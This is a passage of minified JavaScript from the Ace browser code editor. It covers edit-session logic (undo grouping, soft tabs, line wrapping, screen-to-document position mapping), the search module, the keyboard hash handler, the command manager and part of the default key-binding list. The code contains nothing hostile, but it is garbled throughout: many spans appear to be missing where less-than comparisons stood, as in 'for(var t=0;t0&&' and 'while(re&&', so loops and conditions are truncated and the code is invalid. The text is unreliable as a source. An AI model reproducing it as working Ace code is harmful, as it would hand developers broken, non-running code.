t=this;this.$syncInformUndoManager=function(){t.$informUndoManager.cancel(),t.$deltasFold.length&&(t.$deltas.push({group:"fold",deltas:t.$deltasFold}),t.$deltasFold=[]),t.$deltasDoc.length&&(t.$deltas.push({group:"doc",deltas:t.$deltasDoc}),t.$deltasDoc=[]),t.$deltas.length>0&&e.execute({action:"aceupdate",args:[t.$deltas,t],merge:t.mergeUndoDeltas}),t.mergeUndoDeltas=!1,t.$deltas=[]},this.$informUndoManager=s.delayedCall(this.$syncInformUndoManager)}},this.markUndoGroup=function(){this.$syncInformUndoManager&&this.$syncInformUndoManager()},this.$defaultUndoManager={undo:function(){},redo:function(){},reset:function(){}},this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager},this.getTabString=function(){return this.getUseSoftTabs()?s.stringRepeat(" ",this.getTabSize()):"\t"},this.setUseSoftTabs=function(e){this.setOption("useSoftTabs",e)},this.getUseSoftTabs=function(){return this.$useSoftTabs&&!this.$mode.$indentWithTabs},this.setTabSize=function(e){this.setOption("tabSize",e)},this.getTabSize=function(){return this.$tabSize},this.isTabStop=function(e){return this.$useSoftTabs&&e.column%this.$tabSize===0},this.setNavigateWithinSoftTabs=function(e){this.setOption("navigateWithinSoftTabs",e)},this.getNavigateWithinSoftTabs=function(){return this.$navigateWithinSoftTabs},this.$overwrite=!1,this.setOverwrite=function(e){this.setOption("overwrite",e)},this.getOverwrite=function(){return this.$overwrite},this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)},this.addGutterDecoration=function(e,t){this.$decorations[e]||(this.$decorations[e]=""),this.$decorations[e]+=" "+t,this._signal("changeBreakpoint",{})},this.removeGutterDecoration=function(e,t){this.$decorations[e]=(this.$decorations[e]||"").replace(" "+t,""),this._signal("changeBreakpoint",{})},this.getBreakpoints=function(){return this.$breakpoints},this.setBreakpoints=function(e){this.$breakpoints=[];for(var t=0;t0&&(n=!!i.charAt(t-1).match(this.tokenRe)),n||(n=!!i.charAt(t).match(this.tokenRe)),n)var s=this.tokenRe;else if(/^\s+$/.test(i.slice(t-1,t+1)))s=/\s/;else s=this.nonTokenRe;var o=t;if(o>0){do{o--}while(o>=0&&i.charAt(o).match(s));o++}var r=t;while(re&&(e=t.screenWidth)})),this.lineWidgetWidth=e},this.$computeWidth=function(e){if(this.$modified||e){if(this.$modified=!1,this.$useWrapMode)return this.screenWidth=this.$wrapLimit;for(var t=this.doc.getAllLines(),i=this.$rowLengthCache,n=0,s=0,o=this.$foldData[s],r=o?o.start.row:1/0,a=t.length,l=0;lr){if(l=o.end.row+1,l>=a)break;o=this.$foldData[s++],r=o?o.start.row:1/0}null==i[l]&&(i[l]=this.$getStringScreenWidth(t[l])[0]),i[l]>n&&(n=i[l])}this.screenWidth=n}},this.getLine=function(e){return this.doc.getLine(e)},this.getLines=function(e,t){return this.doc.getLines(e,t)},this.getLength=function(){return this.doc.getLength()},this.getTextRange=function(e){return this.doc.getTextRange(e||this.selection.getRange())},this.insert=function(e,t){return this.doc.insert(e,t)},this.remove=function(e){return this.doc.remove(e)},this.removeFullLines=function(e,t){return this.doc.removeFullLines(e,t)},this.undoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=null,n=e.length-1;-1!=n;n--){var s=e[n];"doc"==s.group?(this.doc.revertDeltas(s.deltas),i=this.$getUndoSelection(s.deltas,!0,i)):s.deltas.forEach((function(e){this.addFolds(e.folds)}),this)}return this.$fromUndo=!1,i&&this.$undoSelect&&!t&&this.selection.setSelectionRange(i),i}},this.redoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=null,n=0;ne.end.column&&(o.start.column+=a),o.end.row==e.end.row&&o.end.column>e.end.column&&(o.end.column+=a)),r&&o.start.row>=e.end.row&&(o.start.row+=r,o.end.row+=r)}if(o.end=this.insert(o.start,n),s.length){var l=e.start,c=o.start;r=c.row-l.row,a=c.column-l.column;this.addFolds(s.map((function(e){return e=e.clone(),e.start.row==l.row&&(e.start.column+=a),e.end.row==l.row&&(e.end.column+=a),e.start.row+=r,e.end.row+=r,e})))}return o},this.indentRows=function(e,t,i){i=i.replace(/\t/g,this.getTabString());for(var n=e;n<=t;n++)this.doc.insertInLine({row:n,column:0},i)},this.outdentRows=function(e){for(var t=e.collapseRows(),i=new h(0,0,0,0),n=this.getTabSize(),s=t.start.row;s<=t.end.row;++s){var o=this.getLine(s);i.start.row=s,i.end.row=s;for(var r=0;r0){n=this.getRowFoldEnd(t+i);if(n>this.doc.getLength()-1)return 0;s=n-t}else{e=this.$clipRowToDocument(e),t=this.$clipRowToDocument(t);s=t-e+1}var o=new h(e,0,t,Number.MAX_VALUE),r=this.getFoldsInRange(o).map((function(e){return e=e.clone(),e.start.row+=s,e.end.row+=s,e})),a=0==i?this.doc.getLines(e,t):this.doc.removeFullLines(e,t);return this.doc.insertFullLines(e+s,a),r.length&&this.addFolds(r),s},this.moveLinesUp=function(e,t){return this.$moveLines(e,t,-1)},this.moveLinesDown=function(e,t){return this.$moveLines(e,t,1)},this.duplicateLines=function(e,t){return this.$moveLines(e,t,0)},this.$clipRowToDocument=function(e){return Math.max(0,Math.min(e,this.doc.getLength()-1))},this.$clipColumnToRow=function(e,t){return t<0?0:Math.min(this.doc.getLine(e).length,t)},this.$clipPositionToDocument=function(e,t){if(t=Math.max(0,t),e<0)e=0,t=0;else{var i=this.doc.getLength();e>=i?(e=i-1,t=this.doc.getLine(i-1).length):t=Math.min(this.doc.getLine(e).length,t)}return{row:e,column:t}},this.$clipRangeToDocument=function(e){e.start.row<0?(e.start.row=0,e.start.column=0):e.start.column=this.$clipColumnToRow(e.start.row,e.start.column);var t=this.doc.getLength()-1;return e.end.row>t?(e.end.row=t,e.end.column=this.doc.getLine(t).length):e.end.column=this.$clipColumnToRow(e.end.row,e.end.column),e},this.$wrapLimit=80,this.$useWrapMode=!1,this.$wrapLimitRange={min:null,max:null},this.setUseWrapMode=function(e){if(e!=this.$useWrapMode){if(this.$useWrapMode=e,this.$modified=!0,this.$resetRowCache(0),e){var t=this.getLength();this.$wrapData=Array(t),this.$updateWrapData(0,t-1)}this._signal("changeWrapMode")}},this.getUseWrapMode=function(){return this.$useWrapMode},this.setWrapLimitRange=function(e,t){this.$wrapLimitRange.min===e&&this.$wrapLimitRange.max===t||(this.$wrapLimitRange={min:e,max:t},this.$modified=!0,this.$bidiHandler.markAsDirty(),this.$useWrapMode&&this._signal("changeWrapMode"))},this.adjustWrapLimit=function(e,t){var i=this.$wrapLimitRange;i.max<0&&(i={min:t,max:t});var n=this.$constrainWrapLimit(e,i.min,i.max);return n!=this.$wrapLimit&&n>1&&(this.$wrapLimit=n,this.$modified=!0,this.$useWrapMode&&(this.$updateWrapData(0,this.getLength()-1),this.$resetRowCache(0),this._signal("changeWrapLimit")),!0)},this.$constrainWrapLimit=function(e,t,i){return t&&(e=Math.max(t,e)),i&&(e=Math.min(i,e)),e},this.getWrapLimit=function(){return this.$wrapLimit},this.setWrapLimit=function(e){this.setWrapLimitRange(e,e)},this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}},this.$updateInternalDataOnChange=function(e){var t=this.$useWrapMode,i=e.action,n=e.start,s=e.end,o=n.row,r=s.row,a=r-o,l=null;if(this.$updating=!0,0!=a)if("remove"===i){this[t?"$wrapData":"$rowLengthCache"].splice(o,a);var c=this.$foldData;l=this.getFoldsInRange(e),this.removeFolds(l);var h=this.getFoldLine(s.row),u=0;if(h){h.addRemoveChars(s.row,s.column,n.column-s.column),h.shiftRow(-a);var d=this.getFoldLine(o);d&&d!==h&&(d.merge(h),h=d),u=c.indexOf(h)+1}for(u;u=s.row&&h.shiftRow(-a)}r=o}else{var g=Array(a);g.unshift(o,0);var f=t?this.$wrapData:this.$rowLengthCache;f.splice.apply(f,g);c=this.$foldData,h=this.getFoldLine(o),u=0;if(h){var p=h.range.compareInside(n.row,n.column);0==p?(h=h.split(n.row,n.column),h&&(h.shiftRow(a),h.addRemoveChars(r,0,s.column-n.column))):-1==p&&(h.addRemoveChars(o,0,s.column-n.column),h.shiftRow(a)),u=c.indexOf(h)+1}for(u;u=o&&h.shiftRow(a)}}else{a=Math.abs(e.start.column-e.end.column),"remove"===i&&(l=this.getFoldsInRange(e),this.removeFolds(l),a=-a);h=this.getFoldLine(o);h&&h.addRemoveChars(o,n.column,a)}return t&&this.$wrapData.length!=this.doc.getLength()&&console.error("doc.getLength() and $wrapData.length have to be the same!"),this.$updating=!1,t?this.$updateWrapData(o,r):this.$updateRowLengthCache(o,r),l},this.$updateRowLengthCache=function(e,t,i){this.$rowLengthCache[e]=null,this.$rowLengthCache[t]=null},this.$updateWrapData=function(e,t){var n,s,r=this.doc.getAllLines(),a=this.getTabSize(),l=this.$wrapData,c=this.$wrapLimit,h=e;t=Math.min(t,r.length-1);while(h<=t)s=this.getFoldLine(h,s),s?(n=[],s.walk(function(e,t,s,a){var l;if(null!=e){l=this.$getDisplayTokens(e,n.length),l[0]=i;for(var c=1;c=4352&&e<=4447||e>=4515&&e<=4519||e>=4602&&e<=4607||e>=9001&&e<=9002||e>=11904&&e<=11929||e>=11931&&e<=12019||e>=12032&&e<=12245||e>=12272&&e<=12283||e>=12288&&e<=12350||e>=12353&&e<=12438||e>=12441&&e<=12543||e>=12549&&e<=12589||e>=12593&&e<=12686||e>=12688&&e<=12730||e>=12736&&e<=12771||e>=12784&&e<=12830||e>=12832&&e<=12871||e>=12880&&e<=13054||e>=13056&&e<=19903||e>=19968&&e<=42124||e>=42128&&e<=42182||e>=43360&&e<=43388||e>=44032&&e<=55203||e>=55216&&e<=55238||e>=55243&&e<=55291||e>=63744&&e<=64255||e>=65040&&e<=65049||e>=65072&&e<=65106||e>=65108&&e<=65126||e>=65128&&e<=65131||e>=65281&&e<=65376||e>=65504&&e<=65510)}this.$computeWrapSplits=function(e,n,s){if(0==e.length)return[];var r=[],a=e.length,c=0,h=0,d=this.$wrapAsCode,g=this.$indentedSoftWrap,m=n<=Math.max(2*s,8)||!1===g?0:Math.floor(n/2);function A(){var t=0;if(0===m)return t;if(g)for(var i=0;in-C){var w=c+n-C;if(e[w-1]>=u&&e[w]>=u)v(w);else if(e[w]!=i&&e[w]!=o){var F=Math.max(w-(n-(n>>2)),c-1);while(w>F&&e[w]F&&e[w]F&&e[w]==l)w--}else while(w>F&&e[w]F?v(++w):(w=c+n,e[w]==t&&w--,v(w-C))}else{for(w;w!=c-1;w--)if(e[w]==i)break;if(w>c){v(w);continue}for(w=c+n,w;w39&&a<48||a>57&&a<64?o.push(l):a>=4352&&m(a)?o.push(e,t):o.push(e)}return o},this.$getStringScreenWidth=function(e,t,i){if(0==t)return[0,0];var n,s;for(null==t&&(t=1/0),i=i||0,s=0;s=4352&&m(n)?i+=2:i+=1,i>t)break;return[i,s]},this.lineWidgets=null,this.getRowLength=function(e){if(this.lineWidgets)var t=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0;else t=0;return this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1+t:1+t},this.getRowLineCount=function(e){return this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1:1},this.getRowWrapIndent=function(e){if(this.$useWrapMode){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE),i=this.$wrapData[t.row];return i.length&&i[0]=0){a=c[h],o=this.$docRowCache[h];var d=e>c[u-1]}else d=!u;var g=this.getLength()-1,f=this.getNextFoldLine(o),p=f?f.start.row:1/0;while(a<=e){if(l=this.getRowLength(o),a+l>e||o>=g)break;a+=l,o++,o>p&&(o=f.end.row+1,f=this.getNextFoldLine(o,f),p=f?f.start.row:1/0),d&&(this.$docRowCache.push(o),this.$screenRowCache.push(a))}if(f&&f.start.row<=o)n=this.getFoldDisplayLine(f),o=f.start.row;else{if(a+l<=e||o>g)return{row:g,column:this.getLine(g).length};n=this.getLine(o),f=null}var m=0,A=Math.floor(e-a);if(this.$useWrapMode){var v=this.$wrapData[o];v&&(s=v[A],A>0&&v.length&&(m=v.indent,r=v[A-1]||v[v.length-1],n=n.substring(r)))}return void 0!==i&&this.$bidiHandler.isBidiRow(a+A,o,A)&&(t=this.$bidiHandler.offsetToCol(i)),r+=this.$getStringScreenWidth(n,t-m)[1],this.$useWrapMode&&r>=s&&(r=s-1),f?f.idxToPosition(r):{row:o,column:r}},this.documentToScreenPosition=function(e,t){if("undefined"===typeof t)var i=this.$clipPositionToDocument(e.row,e.column);else i=this.$clipPositionToDocument(e,t);e=i.row,t=i.column;var n=0,s=null,o=null;o=this.getFoldAt(e,t,1),o&&(e=o.start.row,t=o.start.column);var r,a=0,l=this.$docRowCache,c=this.$getRowCacheIndex(l,e),h=l.length;if(h&&c>=0){a=l[c],n=this.$screenRowCache[c];var u=e>l[h-1]}else u=!h;var d=this.getNextFoldLine(a),g=d?d.start.row:1/0;while(a=g){if(r=d.end.row+1,r>e)break;d=this.getNextFoldLine(r,d),g=d?d.start.row:1/0}else r=a+1;n+=this.getRowLength(a),a=r,u&&(this.$docRowCache.push(a),this.$screenRowCache.push(n))}var f="";d&&a>=g?(f=this.getFoldDisplayLine(d,e,t),s=d.start.row):(f=this.getLine(e).substring(0,t),s=e);var p=0;if(this.$useWrapMode){var m=this.$wrapData[s];if(m){var A=0;while(f.length>=m[A])n++,A++;f=f.substring(m[A-1]||0,f.length),p=A>0?m.indent:0}}return{row:n,column:p+this.$getStringScreenWidth(f)[0]}},this.documentToScreenColumn=function(e,t){return this.documentToScreenPosition(e,t).column},this.documentToScreenRow=function(e,t){return this.documentToScreenPosition(e,t).row},this.getScreenLength=function(){var e=0,t=null;if(this.$useWrapMode){var i=this.$wrapData.length,n=0,s=(a=0,t=this.$foldData[a++],t?t.start.row:1/0);while(ns&&(n=t.end.row+1,t=this.$foldData[a++],s=t?t.start.row:1/0)}}else{e=this.getLength();for(var r=this.$foldData,a=0;ai)break;return[n,o]})},this.destroy=function(){this.bgTokenizer&&(this.bgTokenizer.setDocument(null),this.bgTokenizer=null),this.$stopWorker()},this.isFullWidth=m}.call(f.prototype),e("./edit_session/folding").Folding.call(f.prototype),e("./edit_session/bracket_match").BracketMatch.call(f.prototype),r.defineOptions(f.prototype,"session",{wrap:{set:function(e){if(e&&"off"!=e?"free"==e?e=!0:"printMargin"==e?e=-1:"string"==typeof e&&(e=parseInt(e,10)||!1):e=!1,this.$wrap!=e)if(this.$wrap=e,e){var t="number"==typeof e?e:null;this.setWrapLimitRange(t,t),this.setUseWrapMode(!0)}else this.setUseWrapMode(!1)},get:function(){return this.getUseWrapMode()?-1==this.$wrap?"printMargin":this.getWrapLimitRange().min?this.$wrap:"free":"off"},handlesSet:!0},wrapMethod:{set:function(e){e="auto"==e?"text"!=this.$mode.type:"text"!=e,e!=this.$wrapAsCode&&(this.$wrapAsCode=e,this.$useWrapMode&&(this.$modified=!0,this.$resetRowCache(0),this.$updateWrapData(0,this.getLength()-1)))},initialValue:"auto"},indentedSoftWrap:{initialValue:!0},firstLineNumber:{set:function(){this._signal("changeBreakpoint")},initialValue:1},useWorker:{set:function(e){this.$useWorker=e,this.$stopWorker(),e&&this.$startWorker()},initialValue:!0},useSoftTabs:{initialValue:!0},tabSize:{set:function(e){isNaN(e)||this.$tabSize===e||(this.$modified=!0,this.$rowLengthCache=[],this.$tabSize=e,this._signal("changeTabSize"))},initialValue:4,handlesSet:!0},navigateWithinSoftTabs:{initialValue:!1},overwrite:{set:function(e){this._signal("changeOverwrite")},initialValue:!1},newLineMode:{set:function(e){this.doc.setNewLineMode(e)},get:function(){return this.doc.getNewLineMode()},handlesSet:!0},mode:{set:function(e){this.setMode(e)},get:function(){return this.$modeId}}}),t.EditSession=f})),ace.define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=e("./lib/oop"),o=e("./range").Range,r=function(){this.$options={}};function a(e,t){function i(e){return/\w/.test(e)||t.regExp?"\\b":""}return i(e[0])+e+i(e[e.length-1])}(function(){this.set=function(e){return s.mixin(this.$options,e),this},this.getOptions=function(){return n.copyObject(this.$options)},this.setOptions=function(e){this.$options=e},this.find=function(e){var t=this.$options,i=this.$matchIterator(e,t);if(!i)return!1;var n=null;return i.forEach((function(e,i,s,r){return n=new o(e,i,s,r),!(i==r&&t.start&&t.start.start&&0!=t.skipCurrent&&n.isEqual(t.start))||(n=null,!1)})),n},this.findAll=function(e){var t=this.$options;if(!t.needle)return[];this.$assembleRegExp(t);var i=t.range,s=i?e.getLines(i.start.row,i.end.row):e.doc.getAllLines(),r=[],a=t.re;if(t.$isMultiLine){var l,c=a.length,h=s.length-c;e:for(var u=a.offset||0;u<=h;u++){for(var d=0;dp||(r.push(l=new o(u,p,u+c-1,m)),c>2&&(u=u+c-2))}}else for(var A=0;AF&&r[d].end.row==i.end.row)d--;for(r=r.slice(A,d+1),A=0,d=r.length;A=a;i--)if(u(i,Number.MAX_VALUE,e))return;if(0!=t.wrap)for(i=l,a=r.row;i>=a;i--)if(u(i,Number.MAX_VALUE,e))return}};else c=function(e){var i=r.row;if(!u(i,r.column,e)){for(i+=1;i<=l;i++)if(u(i,0,e))return;if(0!=t.wrap)for(i=a,l=r.row;i<=l;i++)if(u(i,0,e))return}};if(t.$isMultiLine)var h=i.length,u=function(t,s,o){var r=n?t-h+1:t;if(!(r<0)){var a=e.getLine(r),l=a.search(i[0]);if(!(!n&&ls))return!!o(r,l,r+h-1,u)||void 0}}};else if(n)u=function(t,n,s){var o,r=e.getLine(t),a=[],l=0;i.lastIndex=0;while(o=i.exec(r)){var c=o[0].length;if(l=o.index,!c){if(l>=r.length)break;i.lastIndex=l+=1}if(o.index+c>n)break;a.push(o.index,c)}for(var h=a.length-1;h>=0;h-=2){var u=a[h-1];c=a[h];if(s(t,u,t,u+c))return!0}};else u=function(t,n,s){var o,r=e.getLine(t),a=n;i.lastIndex=n;while(o=i.exec(r)){var l=o[0].length;if(a=o.index,s(t,a,t,a+l))return!0;if(!l&&(i.lastIndex=a+=1,a>=r.length))return!1}};return{forEach:c}}}).call(r.prototype),t.Search=r})),ace.define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/keys"),s=e("../lib/useragent"),o=n.KEY_MODS;function r(e,t){this.platform=t||(s.isMac?"mac":"win"),this.commands={},this.commandKeyBinding={},this.addCommands(e),this.$singleCommand=!0}function a(e,t){r.call(this,e,t),this.$singleCommand=!1}a.prototype=r.prototype,function(){function e(e){return"object"==typeof e&&e.bindKey&&e.bindKey.position||(e.isDefault?-100:0)}this.addCommand=function(e){this.commands[e.name]&&this.removeCommand(e),this.commands[e.name]=e,e.bindKey&&this._buildKeyHash(e)},this.removeCommand=function(e,t){var i=e&&("string"===typeof e?e:e.name);e=this.commands[i],t||delete this.commands[i];var n=this.commandKeyBinding;for(var s in n){var o=n[s];if(o==e)delete n[s];else if(Array.isArray(o)){var r=o.indexOf(e);-1!=r&&(o.splice(r,1),1==o.length&&(n[s]=o[0]))}}},this.bindKey=function(e,t,i){if("object"==typeof e&&e&&(void 0==i&&(i=e.position),e=e[this.platform]),e)return"function"==typeof t?this.addCommand({exec:t,bindKey:e,name:t.name||e}):void e.split("|").forEach((function(e){var n="";if(-1!=e.indexOf(" ")){var s=e.split(/\s+/);e=s.pop(),s.forEach((function(e){var t=this.parseKeys(e),i=o[t.hashId]+t.key;n+=(n?" ":"")+i,this._addCommandToBinding(n,"chainKeys")}),this),n+=" "}var r=this.parseKeys(e),a=o[r.hashId]+r.key;this._addCommandToBinding(n+a,t,i)}),this)},this._addCommandToBinding=function(t,i,n){var s,o=this.commandKeyBinding;if(i)if(!o[t]||this.$singleCommand)o[t]=i;else{Array.isArray(o[t])?-1!=(s=o[t].indexOf(i))&&o[t].splice(s,1):o[t]=[o[t]],"number"!=typeof n&&(n=e(i));var r=o[t];for(s=0;sn)break}r.splice(s,0,i)}else delete o[t]},this.addCommands=function(e){e&&Object.keys(e).forEach((function(t){var i=e[t];if(i){if("string"===typeof i)return this.bindKey(i,t);"function"===typeof i&&(i={exec:i}),"object"===typeof i&&(i.name||(i.name=t),this.addCommand(i))}}),this)},this.removeCommands=function(e){Object.keys(e).forEach((function(t){this.removeCommand(e[t])}),this)},this.bindKeys=function(e){Object.keys(e).forEach((function(t){this.bindKey(t,e[t])}),this)},this._buildKeyHash=function(e){this.bindKey(e.bindKey,e)},this.parseKeys=function(e){var t=e.toLowerCase().split(/[\-\+]([\-\+])?/).filter((function(e){return e})),i=t.pop(),s=n[i];if(n.FUNCTION_KEYS[s])i=n.FUNCTION_KEYS[s].toLowerCase();else{if(!t.length)return{key:i,hashId:-1};if(1==t.length&&"shift"==t[0])return{key:i.toUpperCase(),hashId:-1}}for(var o=0,r=t.length;r--;){var a=n.KEY_MODS[t[r]];if(null==a)return"undefined"!=typeof console&&console.error("invalid modifier "+t[r]+" in "+e),!1;o|=a}return{key:i,hashId:o}},this.findKeyCommand=function(e,t){var i=o[e]+t;return this.commandKeyBinding[i]},this.handleKeyboard=function(e,t,i,n){if(!(n<0)){var s=o[t]+i,r=this.commandKeyBinding[s];return e.$keyChain&&(e.$keyChain+=" "+s,r=this.commandKeyBinding[e.$keyChain]||r),!r||"chainKeys"!=r&&"chainKeys"!=r[r.length-1]?(e.$keyChain&&(t&&4!=t||1!=i.length?(-1==t||n>0)&&(e.$keyChain=""):e.$keyChain=e.$keyChain.slice(0,-s.length-1)),{command:r}):(e.$keyChain=e.$keyChain||s,{command:"null"})}},this.getStatusText=function(e,t){return t.$keyChain||""}}.call(r.prototype),t.HashHandler=r,t.MultiHashHandler=a})),ace.define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../keyboard/hash_handler").MultiHashHandler,o=e("../lib/event_emitter").EventEmitter,r=function(e,t){s.call(this,t,e),this.byName=this.commands,this.setDefaultHandler("exec",(function(e){return e.command.exec(e.editor,e.args||{})}))};n.inherits(r,s),function(){n.implement(this,o),this.exec=function(e,t,i){if(Array.isArray(e)){for(var n=e.length;n--;)if(this.exec(e[n],t,i))return!0;return!1}if("string"===typeof e&&(e=this.commands[e]),!e)return!1;if(t&&t.$readOnly&&!e.readOnly)return!1;if(e.isAvailable&&!e.isAvailable(t))return!1;var s={editor:t,command:e,args:i};return s.returnValue=this._emit("exec",s),this._signal("afterExec",s),!1!==s.returnValue},this.toggleRecording=function(e){if(!this.$inReplay)return e&&e._emit("changeStatus"),this.recording?(this.macro.pop(),this.removeEventListener("exec",this.$addCommandToMacro),this.macro.length||(this.macro=this.oldMacro),this.recording=!1):(this.$addCommandToMacro||(this.$addCommandToMacro=function(e){this.macro.push([e.command,e.args])}.bind(this)),this.oldMacro=this.macro,this.macro=[],this.on("exec",this.$addCommandToMacro),this.recording=!0)},this.replay=function(e){if(!this.$inReplay&&this.macro){if(this.recording)return this.toggleRecording(e);try{this.$inReplay=!0,this.macro.forEach((function(t){"string"==typeof t?this.exec(t,e):this.exec(t[0],e,t[1])}),this)}finally{this.$inReplay=!1}}},this.trimMacro=function(e){return e.map((function(e){return"string"!=typeof e[0]&&(e[0]=e[0].name),e[1]||(e=e[0]),e}))}}.call(r.prototype),t.CommandManager=r})),ace.define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=e("../config"),o=e("../range").Range;function r(e,t){return{win:e,mac:t}}t.commands=[{name:"showSettingsMenu",bindKey:r("Ctrl-,","Command-,"),exec:function(e){s.loadModule("ace/ext/settings_menu",(function(t){t.init(e),e.showSettingsMenu()}))},readOnly:!0},{name:"goToNextError",bindKey:r("Alt-E","F4"),exec:function(e){s.loadModule("ace/ext/error_marker",(function(t){t.showErrorMarker(e,1)}))},scrollIntoView:"animate",readOnly:!0},{name:"goToPreviousError",bindKey:r("Alt-Shift-E","Shift-F4"),exec:function(e){s.loadModule("ace/ext/error_marker",(function(t){t.showErrorMarker(e,-1)}))},scrollIntoView:"animate",readOnly:!0},{name:"selectall",bindKey:r("Ctrl-A","Command-A"),exec:function(e){e.selectAll()},readOnly:!0},{name:"centerselection",bindKey:r(null,"Ctrl-L"),exec:function(e){e.centerSelection()},readOnly:!0},{name:"gotoline",bindKey:r("Ctrl-L","Command-L"),exec:function(e){var t=parseInt(prompt("Enter line number:"),10);isNaN(t)||e.gotoLine(t)},readOnly:!0},{name:"fold",bindKey:r("Alt-L|Ctrl-F1","Command-Alt-L|Command-F1"),exec:function(e){e.session.toggleFold(!1)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"unfold",bindKey:r("Alt-Shift-L|Ctrl-Shift-F1","Command-Alt-Shift-L|Command-Shift-F1"),exec:function(e){e.session.toggleFold(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleFoldWidget",bindKey:r("F2","F2"),exec:function(e){e.session.toggleFoldWidget()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleParentFoldWidget",bindKey:r("Alt-F2","Alt-F2"),exec:function(e){e.session.toggleFoldWidget(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"foldall",bindKey:r(null,"Ctrl-Command-Option-0"),exec:function(e){e.session.foldAll()},scrollIntoView:"center",readOnly:!0},{name:"foldOther",bindKey:r("Alt-0","Command-Option-0"),exec:function(e){e.session.foldAll(),e.session.unfold(e.selection.getAllRanges())},scrollIntoView:"center",readOnly:!0},{name:"unfoldall",bindKey:r("Alt-Shift-0","Command-Option-Shift-0"),exec:function(e){e.session.unfold()},scrollIntoView:"center",readOnly:!0},{name:"findnext",bindKey:r("Ctrl-K","Command-G"),exec:function(e){e.findNext()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"findprevious",bindKey:r("Ctrl-Shift-K","Command-Shift-G"),exec:function(e){e.findPrevious()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"selectOrFindNext",bindKey:r("Alt-K","Ctrl-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findNext()},readOnly:!0},{name:"selectOrFindPrevious",bindKey:r("Alt-Shift-K","Ctrl-Shift-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findPrevious()},readOnly:!0},{name:"find",bindKey:r("Ctrl-F","Command-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e)}))},readOnly:!0},{name:"overwrite",bindKey:"Insert",exec:function(e){e.toggleOverwrite()},readOnly:!0},{name:"selecttostart",bindKey:r("Ctrl-Shift-Home","Command-Shift-Home|Command-Shift-Up"),exec:function(e){e.getSelection().selectFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotostart",bindKey:r("Ctrl-Home","Command-Home|Command-Up"),exec:function(e){e.navigateFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectup",bindKey:r("Shift-Up","Shift-Up|Ctrl-Shift-P"),exec:function(e){e.getSelection().selectUp()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golineup",bindKey:r("Up","Up|Ctrl-P"),exec:function(e,t){e.navigateUp(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttoend",bindKey:r("Ctrl-Shift-End","Command-Shift-End|Command-Shift-Down"),exec:function(e){e.getSelection().selectFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotoend",bindKey:r("Ctrl-End","Command-End|Command-Down"),exec:function(e){e.navigateFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectdown",bindKey:r("Shift-Down","Shift-Down|Ctrl-Shift-N"),exec:function(e){e.getSelection().selectDown()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golinedown",bindKey:r("Down","Down|Ctrl-N"),exec:function(e,t){e.navigateDown(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordleft",bindKey:r("Ctrl-Shift-Left","Option-Shift-Left"),exec:function(e){e.getSelection().selectWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordleft",bindKey:r("Ctrl-Left","Option-Left"),exec:function(e){e.navigateWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolinestart",bindKey:r("Alt-Shift-Left","Command-Shift-Left|Ctrl-Shift-A"),exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolinestart",bindKey:r("Alt-Left|Home","Command-Left|Home|Ctrl-A"),exec:function(e){e.navigateLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectleft",bindKey:r("Shift-Left","Shift-Left|Ctrl-Shift-B"),exec:function(e){e.getSelection().selectLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoleft",bindKey:r("Left","Left|Ctrl-B"),exec:function(e,t){e.navigateLeft(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordright",bindKey:r("Ctrl-Shift-Right","Option-Shift-Right"),exec:function(e){e.getSelection().selectWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordright",bindKey:r("Ctrl-Right","Option-Right"),exec:function(e){e.navigateWordRight()},multiSelectAction:"forEach",scrol